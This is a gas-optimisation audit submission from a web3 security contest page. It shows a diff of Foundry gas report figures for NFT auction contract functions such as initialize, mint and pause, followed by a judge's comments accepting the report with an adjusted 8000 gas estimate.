    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ initialize(address,address,address,uint256,uint256)                 ┆ 7966            ┆ 125317  ┆ 118103  ┆ 138003  ┆ 73      │
    +│ initialize(address,address,address,uint256,uint256)                 ┆ 7966            ┆ 125300  ┆ 118086  ┆ 137986  ┆ 73      │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    │ initialize(address,address,address,uint256,uint256,uint256,uint256) ┆ 8026            ┆ 184319  ┆ 186768  ┆ 186768  ┆ 73      │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    │ initialize(address,uint256)                                         ┆ 7706            ┆ 49651   ┆ 50234   ┆ 50234   ┆ 73      │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ initialize(bytes,address,address,address)                           ┆ 207975          ┆ 207975  ┆ 207975  ┆ 207975  ┆ 72      │
    +│ initialize(bytes,address,address,address)                           ┆ 207955          ┆ 207955  ┆ 207955  ┆ 207955  ┆ 72      │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    │ isExpired                                                           ┆ 1013            ┆ 1013    ┆ 1013    ┆ 1013    ┆ 7       │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    @@ -320,9 +333,9 @@ Test result: ok. 40 passed; 0 failed; finished in 1.97s
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    │ metadataRenderer                                                    ┆ 736             ┆ 736     ┆ 736     ┆ 736     ┆ 1       │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ minBidIncrement                                                     ┆ 772             ┆ 772     ┆ 772     ┆ 772     ┆ 2       │
    +│ minBidIncrement                                                     ┆ 761             ┆ 761     ┆ 761     ┆ 761     ┆ 2       │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ mint                                                                ┆ 995             ┆ 184375  ┆ 77250   ┆ 325439  ┆ 100     │
    +│ mint                                                                ┆ 995             ┆ 184274  ┆ 77258   ┆ 325199  ┆ 100     │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    │ name                                                                ┆ 1666            ┆ 1666    ┆ 1666    ┆ 1666    ┆ 1       │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    @@ -340,9 +353,9 @@ Test result: ok. 40 passed; 0 failed; finished in 1.97s
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    │ ownerOf                                                             ┆ 946             ┆ 981     ┆ 986     ┆ 986     ┆ 9       │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ pause                                                               ┆ 1754            ┆ 1754    ┆ 1754    ┆ 1754    ┆ 4       │
    +│ pause                                                               ┆ 1660            ┆ 1660    ┆ 1660    ┆ 1660    ┆ 4       │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ paused                                                              ┆ 765             ┆ 765     ┆ 765     ┆ 765     ┆ 2       │
    +│ paused 

... See the rest this report here

#0 - GalloDaSballo

2022-09-18T16:47:01Z

This looks really good 10k gas seems a little exaggerated but I will review in detail

#1 - GalloDaSballo

2022-09-26T20:50:30Z

Math looks right, will reduce to 8000 gas as I have used heuristics for other reports.

Best submission this contest, well done!

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter